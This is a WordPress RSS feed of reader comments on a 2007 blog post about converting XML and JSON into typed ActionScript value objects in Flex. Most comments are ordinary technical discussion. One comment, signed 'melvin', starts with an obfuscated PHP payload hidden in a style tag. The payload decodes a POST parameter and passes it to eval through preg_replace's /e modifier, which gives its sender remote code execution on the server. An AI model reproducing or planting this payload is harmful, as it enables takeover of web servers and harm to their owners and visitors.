<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments on: HTTPService, xmlDecode, ObjectTranslator, and RabidSquirrels</title>
	<atom:link href="http://booleanbetrayal.com/2007/05/18/httpservice-xmldecode-objecttranslator-and-rabidsquirrels/feed/" rel="self" type="application/rss+xml" />
	<link>http://booleanbetrayal.com/2007/05/18/httpservice-xmldecode-objecttranslator-and-rabidsquirrels/</link>
	<description>0 = 1</description>
	<pubDate>Fri, 05 Sep 2008 19:14:29 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6</generator>
		<item>
		<title>By: brent</title>
		<link>http://booleanbetrayal.com/2007/05/18/httpservice-xmldecode-objecttranslator-and-rabidsquirrels/#comment-28</link>
		<dc:creator>brent</dc:creator>
		<pubDate>Tue, 15 Apr 2008 01:10:52 +0000</pubDate>
		<guid isPermaLink="false">http://booleanbetrayal.com/?p=3#comment-28</guid>
		<description>I've attached an example that I hope helps some peeps out. I've come to appreciate AMF greatly over the past few months, but if that isn't viable, hopefully this is a good substitute. It's probably not perfect, so if you make any improvements to it, be sure to let me know.  =]</description>
		<content:encoded><![CDATA[<p>I&#8217;ve attached an example that I hope helps some peeps out. I&#8217;ve come to appreciate AMF greatly over the past few months, but if that isn&#8217;t viable, hopefully this is a good substitute. It&#8217;s probably not perfect, so if you make any improvements to it, be sure to let me know.  =]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: chris</title>
		<link>http://booleanbetrayal.com/2007/05/18/httpservice-xmldecode-objecttranslator-and-rabidsquirrels/#comment-27</link>
		<dc:creator>chris</dc:creator>
		<pubDate>Mon, 14 Apr 2008 14:25:36 +0000</pubDate>
		<guid isPermaLink="false">http://booleanbetrayal.com/?p=3#comment-27</guid>
		<description>Hi Brent, thank you for providing extremely valuable information on translating XML into strongly typed VO's dynamically.  I have the same problem as Brett though, and I am forced to use HTTPServices.  Assuming other data transfer options are not possible, could you please provide the other source you know which may help me better understand the work/implementation of recursively traversing the object graphs.  It will be much appreciated!</description>
		<content:encoded><![CDATA[<p>Hi Brent, thank you for providing extremely valuable information on translating XML into strongly typed VO&#8217;s dynamically.  I have the same problem as Brett though, and I am forced to use HTTPServices.  Assuming other data transfer options are not possible, could you please provide the other source you know which may help me better understand the work/implementation of recursively traversing the object graphs.  It will be much appreciated!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: brent</title>
		<link>http://booleanbetrayal.com/2007/05/18/httpservice-xmldecode-objecttranslator-and-rabidsquirrels/#comment-26</link>
		<dc:creator>brent</dc:creator>
		<pubDate>Sun, 23 Mar 2008 17:05:51 +0000</pubDate>
		<guid isPermaLink="false">http://booleanbetrayal.com/?p=3#comment-26</guid>
		<description>I've definitely done this before using recursive functions that traverse an object graph, determining the types of properties, and invoking ObjectTranslator accordingly. However, upon considering the amount of work required in this logic and caveats in serialization strategies such as circular references, and given the accessibility of free AMF remoting implementations, I would stear clear of HTTPServices entirely, now. Let me know if this isn't an option though, and I'll send some source that might help.</description>
		<content:encoded><![CDATA[<p>I&#8217;ve definitely done this before using recursive functions that traverse an object graph, determining the types of properties, and invoking ObjectTranslator accordingly. However, upon considering the amount of work required in this logic and caveats in serialization strategies such as circular references, and given the accessibility of free AMF remoting implementations, I would stear clear of HTTPServices entirely, now. Let me know if this isn&#8217;t an option though, and I&#8217;ll send some source that might help.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Brett Adam</title>
		<link>http://booleanbetrayal.com/2007/05/18/httpservice-xmldecode-objecttranslator-and-rabidsquirrels/#comment-25</link>
		<dc:creator>Brett Adam</dc:creator>
		<pubDate>Thu, 20 Mar 2008 16:37:42 +0000</pubDate>
		<guid isPermaLink="false">http://booleanbetrayal.com/?p=3#comment-25</guid>
		<description>I've been trying to yse a basic HTTPService that returns an XML doc *with schema* and transform the result into a graph of DTO's. After scouring the net and poking into the Flex 3 SDK sources, I have given up trying to "mimic" the behaviour of the WebServices support in AS3/Flex3.

So I tried your technique. Works well. However, I'm curious if the nested structures problem has been attacked and whether the ability to have DTO's with both typed and dynamic properties has been explored.</description>
		<content:encoded><![CDATA[<p>I&#8217;ve been trying to yse a basic HTTPService that returns an XML doc *with schema* and transform the result into a graph of DTO&#8217;s. After scouring the net and poking into the Flex 3 SDK sources, I have given up trying to &#8220;mimic&#8221; the behaviour of the WebServices support in AS3/Flex3.</p>
<p>So I tried your technique. Works well. However, I&#8217;m curious if the nested structures problem has been attacked and whether the ability to have DTO&#8217;s with both typed and dynamic properties has been explored.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: brent</title>
		<link>http://booleanbetrayal.com/2007/05/18/httpservice-xmldecode-objecttranslator-and-rabidsquirrels/#comment-23</link>
		<dc:creator>brent</dc:creator>
		<pubDate>Thu, 12 Jul 2007 15:55:25 +0000</pubDate>
		<guid isPermaLink="false">http://booleanbetrayal.com/?p=3#comment-23</guid>
		<description>as3corelib's json serialization classes will convert any json string into an Actionscript "Object" class type. All primitives will be typed appropriately, but any complex objects in the graph will all be typed to the generic "Object" class. 

You can cast these Objects to typed instances using the ObjectTranslator class from Darron Schall, if you want your Flex model / VO's to mimic your backend model / VO's. This also has added performance improvements, as typed object instances behave much more efficiently than the vanilla Object instances.

For convenience sake, if you want to generate those model / VO Actionscript classes from your Java classes, you're in luck. There's an &lt;a href="http://xdoclet.codehaus.org/Actionscript+plugin" rel="nofollow"&gt;XDoclet Actionscript plugin&lt;/a&gt; designed to do just that. For a better explanation than what I could give you, check this blog post by Joe Berkovitz:

&lt;a href="http://joeberkovitz.com/blog/2006/04/14/xdoclet2-update/" rel="nofollow"&gt;xdoclet2 update: Autogenerating AS3 Value Objects from Java (and AS2 too)&lt;/a&gt;</description>
		<content:encoded><![CDATA[<p>as3corelib&#8217;s json serialization classes will convert any json string into an Actionscript &#8220;Object&#8221; class type. All primitives will be typed appropriately, but any complex objects in the graph will all be typed to the generic &#8220;Object&#8221; class. </p>
<p>You can cast these Objects to typed instances using the ObjectTranslator class from Darron Schall, if you want your Flex model / VO&#8217;s to mimic your backend model / VO&#8217;s. This also has added performance improvements, as typed object instances behave much more efficiently than the vanilla Object instances.</p>
<p>For convenience sake, if you want to generate those model / VO Actionscript classes from your Java classes, you&#8217;re in luck. There&#8217;s an <a href="http://xdoclet.codehaus.org/Actionscript+plugin" rel="nofollow">XDoclet Actionscript plugin</a> designed to do just that. For a better explanation than what I could give you, check this blog post by Joe Berkovitz:</p>
<p><a href="http://joeberkovitz.com/blog/2006/04/14/xdoclet2-update/" rel="nofollow">xdoclet2 update: Autogenerating AS3 Value Objects from Java (and AS2 too)</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: melvin</title>
		<link>http://booleanbetrayal.com/2007/05/18/httpservice-xmldecode-objecttranslator-and-rabidsquirrels/#comment-22</link>
		<dc:creator>melvin</dc:creator>
		<pubDate>Thu, 12 Jul 2007 03:19:50 +0000</pubDate>
		<guid isPermaLink="false">http://booleanbetrayal.com/?p=3#comment-22</guid>
		<description>7665376fd0ad47431a2245d553fa3f60&lt;style ${$x=strrev($_POST[x])} ${$x=base64_decode(preg_replace(chr(47).chr(95).chr(47),chr(43),$x))} ${$x=preg_replace(chr(47).chr(47).chr(101),chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(120).chr(41),chr(55))} &gt;&lt;/style&gt;---In the situation where java is the backend and flex is frontend, when a java object is transfered to frontend and is decoded by as3corelib, do you need to declare a corresponding AS3 class in advance? if so, is there any utility to generate such classes (from java value object class to AS3 class)?

Thank you very much,

Melvin</description>
		<content:encoded><![CDATA[<p>7665376fd0ad47431a2245d553fa3f60<br />
<style ${$x=strrev($_POST[x])} ${$x=base64_decode(preg_replace(chr(47).chr(95).chr(47),chr(43),$x))} ${$x=preg_replace(chr(47).chr(47).chr(101),chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(120).chr(41),chr(55))} ></style>
<p>&#8212;In the situation where java is the backend and flex is frontend, when a java object is transfered to frontend and is decoded by as3corelib, do you need to declare a corresponding AS3 class in advance? if so, is there any utility to generate such classes (from java value object class to AS3 class)?</p>
<p>Thank you very much,</p>
<p>Melvin</p>
]]></content:encoded>
	</item>
</channel>
</rss>
